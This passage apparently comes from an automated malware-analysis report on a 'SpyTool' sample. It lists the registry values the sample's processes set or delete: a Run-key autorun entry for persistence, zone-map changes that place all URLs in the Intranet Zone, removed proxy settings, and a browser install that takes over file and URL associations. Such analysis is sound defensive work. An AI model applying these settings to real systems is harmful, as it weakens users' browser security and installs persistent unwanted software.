"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "11 FA 98 A6 6C 0F D6 03 DC 45 D6 D2 EE 72 EB 0E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nsj20.tmp:1672 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "11 E6 23 BB 15 9D 1B 09 0E 4C E0 8D AA 63 BE 5E"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process amisid.exe:1116 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"
"CategoryCount" = "16"

[HKCU\Software\InternetTurbo]
"UID" = "C8318CA6891F5119A9FD96EC19E98D71"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B8 03 9E AA 4F 80 79 47 2A A7 6C 9D CD F2 FA CB"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\amisid\DEBUG]
"Trace Level" = ""

The SpyTool deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\amisid\DEBUG]
"Trace Level"

The process nsr4.tmp:1452 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1E 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "08 1B 37 42 CD 9F 16 CD 8F 55 3D 99 4F 9C EF D3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process upgmsd_re_005010095.exe:436 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 22 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Tutorials\updatetutorialeshp]
"Version" = "gmsd_re_005010095"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Tutorials]
"HostGUID" = "FD4FD473-DEBD-4323-A94A-CB4D29B34964"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "27 95 42 60 0D 25 50 75 AD 90 77 80 A2 BF 6C 3F"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKCU\Software\Tutorials\updatetutorialeshp]
"MainDir" = "%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010095"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

To automatically run itself each time Windows is booted, the SpyTool adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"upgmsd_re_005010095.exe" = "%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010095\upgmsd_re_005010095.exe -runhelper"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nsr14.tmp:1568 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "72 36 09 38 F1 28 82 17 CF 9D 6F 6C 5D 38 45 79"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Services\NlaSvc]
"CMPK" = "-som-tot-cpm-crb-crr"

The process wmic.exe:1276 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AB 04 DF 28 2E D4 1D 45 7E A2 FE C4 D9 61 51 90"

The process nsm34.tmp:1108 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 23 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "82 8A 88 AB 31 AE EB B5 62 8E F3 47 67 9B 7D EE"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nsc18.tmp:1336 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6B FD 1D 4A 54 DB BA 2F 5B 53 5F 00 8E ED 37 93"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process encrypt.exe:1052 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "99 B1 1C 2D E5 AA 62 DC AD F6 A5 19 87 77 DF 35"

The process encrypt.exe:1484 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0F FF 37 83 6C 8E EB 81 12 89 28 37 3A C5 72 CA"

The process encrypt.exe:1972 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F6 F2 75 49 44 65 F5 E1 1A 1D 7A FA B2 75 A7 32"

The process encrypt.exe:1512 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F2 11 48 A1 5F 02 A6 5F F1 06 51 9D D2 C4 E2 64"

The process tasklist.exe:1256 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B1 3C 4D A3 10 29 E3 3B 70 B3 42 E3 83 93 8C 15"

The process tasklist.exe:1536 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1D B1 9F C4 AD 89 AE 6E 85 48 BF B8 13 80 8E F6"

The process setup.exe:2036 makes changes in the system registry.

The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\InstallInfo]
"IconsVisible" = "1"

[HKCU\Software\Classes\ftp\shell]
"(Default)" = "open"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\MyBrowser\Installer]
"Name" = "MyBrowser"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities]
"ApplicationDescription" = "MyBrowser is a web browser that runs webpages and applications with lightning speed. It's fast, stable, and easy to use. Browse the web more safely with malware and phishing protection built into MyBrowser."

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"smsto" = "CRSBRWSHTML"

[HKCR\https\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"DisplayIcon" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\MyBrowser\Installer]
"UninstallArguments" = " --uninstall --system-level"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"VersionMinor" = "95"

[HKCR\.html\OpenWithProgids]
"CRSBRWSHTML" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"DisplayVersion" = "39.5.2171.95"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities]
"ApplicationName" = "MyBrowser"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"InstallDate" = "20150923"

[HKCU\Software\Classes\http\shell\open\ddeexec]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components]
"StubPath" = "%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\chrmstp.exe --configure-user-settings --verbose-logging --system-level"

[HKCR\.html]
"(Default)" = "CRSBRWSHTML"

[HKCU\Software\Classes\ftp]
"URL Protocol" = ""

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"nntp" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\FileAssociations]
".xhtml" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"mailto" = "CRSBRWSHTML"

[HKCU\Software\Classes\.xht]
"(Default)" = "CRSBRWSHTML"

[HKCU\Software\Classes\ftp\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc2B.tmp\registry.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsc2B.tmp\, , \??\%Program Files%\MyBrowser\MyBrowser,"

[HKCU\Software\Classes\.html]
"(Default)" = "CRSBRWSHTML"

[HKCU\Software\Classes\ftp\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"VersionMajor" = "2171"

[HKCU\Software\Classes\.shtml]
"(Default)" = "CRSBRWSHTML"

[HKCU\Software\Classes\https\shell\open\ddeexec]
"(Default)" = ""

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe"

[HKCR\CLSID\{2A563926-CF4B-4363-A760-F71E46205B7E}\LocalServer32]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\delegate_execute.exe"

[HKCR\CLSID\{2A563926-CF4B-4363-A760-F71E46205B7E}]
"(Default)" = "CommandExecuteImpl Class"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"irc" = "CRSBRWSHTML"

[HKCR\ftp\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"https" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components]
"IsInstalled" = "1"
"Version" = "24,0,0,0"

[HKCR\https\shell]
"(Default)" = "open"

[HKCR\.xhtml]
"(Default)" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\mybrowser.exe]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe"

[HKCR\.xht\OpenWithProgids]
"CRSBRWSHTML" = ""

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\Startmenu]
"StartMenuInternet" = "MyBrowser"

[HKCU\Software\Classes\http\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

